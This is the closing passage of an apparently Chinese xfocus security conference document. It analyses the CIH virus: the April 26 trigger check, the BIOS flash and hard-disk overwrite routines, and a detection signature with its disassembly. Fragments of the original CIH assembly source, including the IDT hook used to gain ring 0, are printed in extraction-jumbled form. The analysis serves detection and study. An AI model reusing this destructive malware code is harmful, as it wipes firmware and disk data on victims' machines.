8.恢复原先的 IDT中断表中的 INT 3入口,退出 INT 3; 9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常

第三节 病毒发作条件判断

在 CIHv1.4中,病毒的发作日期是 4月 26日,病毒从 COMS的 70、71端口取出系统当前日期,对其进行判断:

MOV AX,0708OUT 70,ALIN AL,71 取当前系统月份->ALXCHG AL,AHOUT 70,ALIN AL,71 取当前系统日->ALXOR AX,0426 是否为 4月 26日JZ 病毒发作程序

之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。

第四节 病毒的破坏1.通过主板的 BIOS端口地址 0CFEH和 0CFDH 向 BIOS引导块(boot block)内各写入

一个字节的乱码,造成主机无法启动。随着闪存(FlashMemory)价格的下跌,奔腾机器上 BIOS普遍采用 PROM(可编程只

读存储器),它可以在 12伏以下的电压下利用软件的方式,从 BIOS端口中读出和写入数据,以便于进行程序的升级。CIH病毒正是利用闪存的这一特性,往 BIOS里写入乱码,造成 BIOS中的原内容被会彻底破坏,主机无法启动。所幸的是,CIH只能对少数类型的主板 BIOS 构成威胁。这是因为,BIOS的软件更新

是通过直接写端口实现的,而不同主板的 BIOS端口地址各不相同。现在出现的 CIH只有 1K,程序量太小,还不可能存储

大量的主板和 BIOS端口数据。它只对端口地址为 0CFEH和 0CFD的 BIOS(据有关资料为 Intel 430TX chipset、部分 Pentium

chipsets)进行攻击2.覆盖硬盘

http://www.xfocus.org , http://www.xfocus.net 第 215页 共 218页

Page 216: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

通过调用 Vxd call IOS_SendCommand直接对硬盘进行存取,将垃圾代码以 2048个扇区为单位,从硬盘主引导区开始依

次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。特征码:

55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D 4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B 66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89 73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83

偏移位置:0x240

特码长度:0x40

反汇编代码:00400240 > 55 PUSH EBP00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]00400245 33DB XOR EBX,EBX00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX0040024A E8 00000000 CALL Win95_ci.0040024F0040024F 5B POP EBX00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]00400253 51 PUSH ECX00400254 50 PUSH EAX00400255 50 PUSH EAX00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用 SIDT 指令取得 IDT base address(中断描述符表基地址), ; 然后把 IDT的 INT 3 的入口地址改为指向 CIH自己的INT3 程序入口部分; 0040025B 5B POP EBX0040025C 83C3 1C ADD EBX,1C0040025F FA CLI00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]00400269 56 PUSH ESI0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI0040026E C1EE 10 SHR ESI,1000400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI00400275 5E POP ESI00400276 CC INT3 ; 执行 INT 3 指令,进入 CIH自身的 INT 3入口程序,获得权限(Ring 0级),00400277 56 PUSH ESI00400278 8BF0 MOV ESI,EAX0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]

http://www.xfocus.org , http://www.xfocus.net 第 216页 共 218页

Page 217: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]0040027F 83E8 08 SUB EAX,8

与 1.3版本匹配,源病毒初始代码如下: MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; ************************************* pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi

http://www.xfocus.org , http://www.xfocus.net 第 217页 共 218页

Page 218: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb

sub eax, 08h

; ************************************* ; * Generate Exception Again * ; ************************************* ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; *************************************

StopToRunVirusCode: @1 = StopToRunVirusCode ; ************************************* ; * Return Original App to Execute * ; *************************************

http://www.xfocus.org , http://www.xfocus.net 第 218页 共 218页